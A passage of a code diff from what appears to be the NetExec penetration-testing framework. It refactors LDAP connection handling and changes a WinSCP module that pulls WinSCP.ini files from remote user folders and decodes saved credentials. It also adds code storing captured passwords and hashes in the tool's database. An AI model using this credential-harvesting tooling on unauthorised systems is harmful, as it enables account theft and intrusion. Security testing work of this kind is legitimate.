@@ -98,7 +99,7 @@ class NXCModule:
|
||||
clearpass = clearpass[len(key):]
|
||||
return clearpass
|
||||
|
||||
def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]":
|
||||
def dec_next_char(self, pass_bytes) -> tuple[int, bytes]:
|
||||
"""
|
||||
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
|
||||
|
||||
@@ -307,7 +308,11 @@ class NXCModule:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
try:
|
||||
remote_ops.finish()
|
||||
except rrp.DCERPCSessionError as e:
|
||||
# Likely can't stop rrp due to other services dependending on it
|
||||
context.log.debug(f"Error finishing remote operations: {e}")
|
||||
|
||||
# ==================== Handle Configs ====================
|
||||
def decode_config_file(self, context, confFile):
|
||||
@@ -347,14 +352,19 @@ class NXCModule:
|
||||
context.log.debug(traceback.format_exc())
|
||||
else:
|
||||
context.log.display("Looking for WinSCP creds in User documents and AppData...")
|
||||
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
|
||||
users = [row.strip() for row in output.split("\r\n")[2:]]
|
||||
users = []
|
||||
out = connection.conn.listPath(self.share, "\\Users\\*")
|
||||
for obj in out:
|
||||
if obj.get_longname() in [".", ".."] or not obj.is_directory():
|
||||
continue
|
||||
else:
|
||||
users.append(obj.get_longname())
|
||||
|
||||
# Iterate over found users and default paths to look for WinSCP.ini files
|
||||
for user in users:
|
||||
paths = [
|
||||
("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
|
||||
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
|
||||
(f"\\Users\\{user}\\Documents\\WinSCP.ini"),
|
||||
(f"\\Users\\{user}\\AppData\\Roaming\\WinSCP.ini"),
|
||||
]
|
||||
for path in paths:
|
||||
conf_file = ""
|
||||
@@ -363,9 +373,12 @@ class NXCModule:
|
||||
connection.conn.getFile(self.share, path, buf.write)
|
||||
conf_file = buf.getvalue().decode()
|
||||
context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...")
|
||||
except Exception as e:
|
||||
except SessionError as e:
|
||||
context.log.debug(f"No config file found at '{self.share + path}': {e}")
|
||||
if conf_file:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error getting config file at '{self.share + path}': {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
else:
|
||||
self.decode_config_file(context, conf_file)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
@@ -173,6 +173,9 @@ def main():
|
||||
for module in args.module:
|
||||
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
|
||||
exit(0)
|
||||
elif args.show_module_options:
|
||||
nxc_logger.error("--options requires -M/--module")
|
||||
exit(1)
|
||||
elif args.module:
|
||||
# Check the modules for sanity before loading the protocol
|
||||
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
|
||||
|
||||
+1
-1
@@ -153,7 +153,7 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
if cred[4] == "hash":
|
||||
usernames.append(cred[2])
|
||||
passwords.append(cred[3])
|
||||
output_list = [":".join(combination) for combination in zip(usernames, passwords)]
|
||||
output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)]
|
||||
write_list(filename, output_list)
|
||||
else:
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
def parse_result_attributes(ldap_response):
|
||||
parsed_response = []
|
||||
for entry in ldap_response:
|
||||
@@ -8,7 +9,18 @@ def parse_result_attributes(ldap_response):
|
||||
continue
|
||||
attribute_map = {}
|
||||
for attribute in entry["attributes"]:
|
||||
val = [str(val) for val in attribute["vals"].components]
|
||||
attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0]
|
||||
val_list = []
|
||||
for val in attribute["vals"].components:
|
||||
try:
|
||||
encoding = val.encoding
|
||||
val_decoded = str(val).encode(encoding).decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# If we can't decode the value, we'll just return the bytes
|
||||
val_decoded = val.__bytes__()
|
||||
val_list.append(val_decoded)
|
||||
if len(val_list) == 1:
|
||||
attribute_map[str(attribute["type"])] = val_list[0]
|
||||
else:
|
||||
attribute_map[str(attribute["type"])] = val_list
|
||||
parsed_response.append(attribute_map)
|
||||
return parsed_response
|
||||
return parsed_response
|
||||
|
||||
+3
-1
@@ -3,7 +3,7 @@ from nxc.logger import nxc_logger
|
||||
|
||||
# right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases
|
||||
protocol_dict = {
|
||||
"Ftp": {"ports": [21], "services": ["Ftp"]},
|
||||
"ftp": {"ports": [21], "services": ["ftp"]},
|
||||
"ssh": {"ports": [22, 2222], "services": ["ssh"]},
|
||||
"smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]},
|
||||
"ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]},
|
||||
@@ -11,6 +11,8 @@ protocol_dict = {
|
||||
"rdp": {"ports": [3389], "services": ["ms-wbt-server"]},
|
||||
"winrm": {"ports": [5985, 5986], "services": ["wsman"]},
|
||||
"vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]},
|
||||
"wmi": {"ports": [135], "services": ["msrpc"]},
|
||||
"nfs": {"ports": [2049], "services": ["nfs"]},
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -24,19 +24,23 @@ class ftp(connection):
|
||||
|
||||
def proto_flow(self):
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
|
||||
pass
|
||||
if self.create_conn_obj() and self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
return True
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
|
||||
@@ -7,7 +7,7 @@ from sqlalchemy.exc import (
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.database import BaseDB, format_host_query
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -221,8 +221,8 @@ class database(BaseDB):
|
||||
return [results]
|
||||
# if we're filtering by host
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.host.like(like_term))
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"FTP get_hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
+348
-283
@@ -3,34 +3,35 @@
|
||||
import hashlib
|
||||
import hmac
|
||||
import os
|
||||
import socket
|
||||
from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH
|
||||
from binascii import hexlify
|
||||
from datetime import datetime, timedelta
|
||||
from datetime import datetime
|
||||
from re import sub, I
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
from dns import resolver
|
||||
|
||||
from Cryptodome.Hash import MD4
|
||||
from OpenSSL.SSL import SysCallError
|
||||
from bloodhound.ad.authentication import ADAuthentication
|
||||
from bloodhound.ad.domain import AD
|
||||
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5.samr import (
|
||||
UF_ACCOUNTDISABLE,
|
||||
UF_DONT_REQUIRE_PREAUTH,
|
||||
UF_TRUSTED_FOR_DELEGATION,
|
||||
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
|
||||
UF_SERVER_TRUST_ACCOUNT,
|
||||
SAM_MACHINE_ACCOUNT,
|
||||
)
|
||||
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
|
||||
from impacket.krb5.types import Principal, KerberosException
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPFilterSyntaxError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.ntlm import getNTLMSSPType1
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
@@ -40,6 +41,7 @@ from nxc.protocols.ldap.bloodhound import BloodHound
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.ldap.kerberos import KerberosAttacks
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.ntlm_parser import parse_challenge
|
||||
|
||||
ldap_error_status = {
|
||||
"1": "STATUS_NOT_SUPPORTED",
|
||||
@@ -134,7 +136,7 @@ class ldap(connection):
|
||||
self.server_os = None
|
||||
self.os_arch = 0
|
||||
self.hash = None
|
||||
self.ldapConnection = None
|
||||
self.ldap_connection = None
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.baseDN = ""
|
||||
@@ -161,15 +163,18 @@ class ldap(connection):
|
||||
}
|
||||
)
|
||||
|
||||
def get_ldap_info(self, host):
|
||||
def create_conn_obj(self):
|
||||
target = ""
|
||||
target_domain = ""
|
||||
base_dn = ""
|
||||
try:
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{host}"
|
||||
ldap_url = f"{proto}://{self.host}"
|
||||
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
|
||||
if ldap_connection:
|
||||
self.logger.debug(f"ldap_connection: {ldap_connection}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
|
||||
if self.ldap_connection:
|
||||
self.logger.debug(f"ldap_connection: {self.ldap_connection}")
|
||||
except SysCallError as e:
|
||||
if proto == "ldaps":
|
||||
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||
@@ -177,9 +182,9 @@ class ldap(connection):
|
||||
self.logger.fail("Even if the port is open, LDAPS may not be configured")
|
||||
else:
|
||||
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
|
||||
exit(1)
|
||||
return False
|
||||
|
||||
resp = ldap_connection.search(
|
||||
resp = self.ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
attributes=["defaultNamingContext", "dnsHostName"],
|
||||
sizeLimit=0,
|
||||
@@ -187,9 +192,6 @@ class ldap(connection):
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
target = None
|
||||
target_domain = None
|
||||
base_dn = None
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "defaultNamingContext":
|
||||
@@ -205,43 +207,27 @@ class ldap(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.info(f"Skipping item, cannot process due to error {e}")
|
||||
except OSError:
|
||||
return [None, None, None]
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
return [target, target_domain, base_dn]
|
||||
|
||||
def get_os_arch(self):
|
||||
try:
|
||||
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
|
||||
transport = DCERPCTransportFactory(string_binding)
|
||||
transport.setRemoteHost(self.host)
|
||||
transport.set_connect_timeout(5)
|
||||
dce = transport.get_dce_rpc()
|
||||
if self.args.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
try:
|
||||
dce.bind(
|
||||
MSRPC_UUID_PORTMAP,
|
||||
transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"),
|
||||
)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("syntaxes_not_supported") >= 0:
|
||||
dce.disconnect()
|
||||
return 32
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.debug(f"{e} on host {self.host}")
|
||||
return False
|
||||
except OSError as e:
|
||||
if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT):
|
||||
self.logger.info(f"Error connecting to {self.host} - {e}")
|
||||
return False
|
||||
else:
|
||||
dce.disconnect()
|
||||
return 64
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}")
|
||||
self.logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
return 0
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
self.target = target
|
||||
self.targetDomain = target_domain
|
||||
self.baseDN = base_dn
|
||||
return True
|
||||
|
||||
def get_ldap_username(self):
|
||||
extended_request = ldapasn1_impacket.ExtendedRequest()
|
||||
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
|
||||
|
||||
response = self.ldapConnection.sendReceive(extended_request)
|
||||
response = self.ldap_connection.sendReceive(extended_request)
|
||||
for message in response:
|
||||
search_result = message["protocolOp"].getComponent()
|
||||
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
|
||||
@@ -252,67 +238,51 @@ class ldap(connection):
|
||||
return ""
|
||||
|
||||
def enum_host_info(self):
|
||||
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||
self.hostname = self.target
|
||||
self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args
|
||||
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
|
||||
self.remoteName = self.target
|
||||
self.domain = self.targetDomain
|
||||
# smb no open, specify the domain
|
||||
if not self.args.no_smb:
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
try:
|
||||
self.conn.login("", "")
|
||||
except BrokenPipeError as e:
|
||||
self.logger.fail(f"Broken Pipe Error while attempting to login: {e}")
|
||||
except Exception as e:
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
self.no_ntlm = True
|
||||
if not self.no_ntlm:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
self.os_arch = self.get_os_arch()
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
ntlm_challenge = None
|
||||
bindRequest = ldapasn1_impacket.BindRequest()
|
||||
bindRequest["version"] = 3
|
||||
bindRequest["name"] = ""
|
||||
negotiate = getNTLMSSPType1()
|
||||
bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData()
|
||||
try:
|
||||
response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"]
|
||||
ntlm_challenge = bytes(response["bindResponse"]["matchedDN"])
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}")
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
if ntlm_challenge:
|
||||
ntlm_info = parse_challenge(ntlm_challenge)
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
|
||||
try: # noqa: SIM105
|
||||
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
self.conn.logoff()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
|
||||
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
|
||||
|
||||
try:
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
if self.args.no_smb:
|
||||
self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
|
||||
else:
|
||||
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
|
||||
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
return True
|
||||
self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
@@ -353,13 +323,20 @@ class ldap(connection):
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
if password:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
elif ntlm_hash:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
||||
self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
|
||||
@@ -398,13 +375,20 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
if password:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
elif ntlm_hash:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
||||
self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
|
||||
|
||||
@@ -455,9 +439,11 @@ class ldap(connection):
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
@@ -476,9 +462,11 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
@@ -494,15 +482,12 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
@@ -544,9 +529,11 @@ class ldap(connection):
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
||||
self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
@@ -565,9 +552,11 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}")
|
||||
self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
@@ -584,54 +573,17 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self):
|
||||
self.logger.debug("Creating smbv1 connection object")
|
||||
try:
|
||||
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
|
||||
self.smbv1 = True
|
||||
if self.conn:
|
||||
self.logger.debug("SMBv1 Connection successful")
|
||||
except OSError as e:
|
||||
if str(e).find("Connection reset by peer") != -1:
|
||||
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
return False
|
||||
return True
|
||||
|
||||
def create_smbv3_conn(self):
|
||||
self.logger.debug("Creating smbv3 connection object")
|
||||
try:
|
||||
self.conn = SMBConnection(self.host, self.host, None, 445)
|
||||
self.smbv1 = False
|
||||
if self.conn:
|
||||
self.logger.debug("SMBv3 Connection successful")
|
||||
except OSError:
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn())
|
||||
|
||||
def get_sid(self):
|
||||
self.logger.highlight(f"Domain SID {self.sid_domain}")
|
||||
|
||||
@@ -660,7 +612,7 @@ class ldap(connection):
|
||||
attributes = ["objectSid"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "":
|
||||
for attribute in resp[0][1]:
|
||||
if str(attribute["type"]) == "objectSid":
|
||||
sid = self.sid_to_str(attribute["vals"][0])
|
||||
@@ -677,6 +629,9 @@ class ldap(connection):
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "distinguishedName":
|
||||
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")"))
|
||||
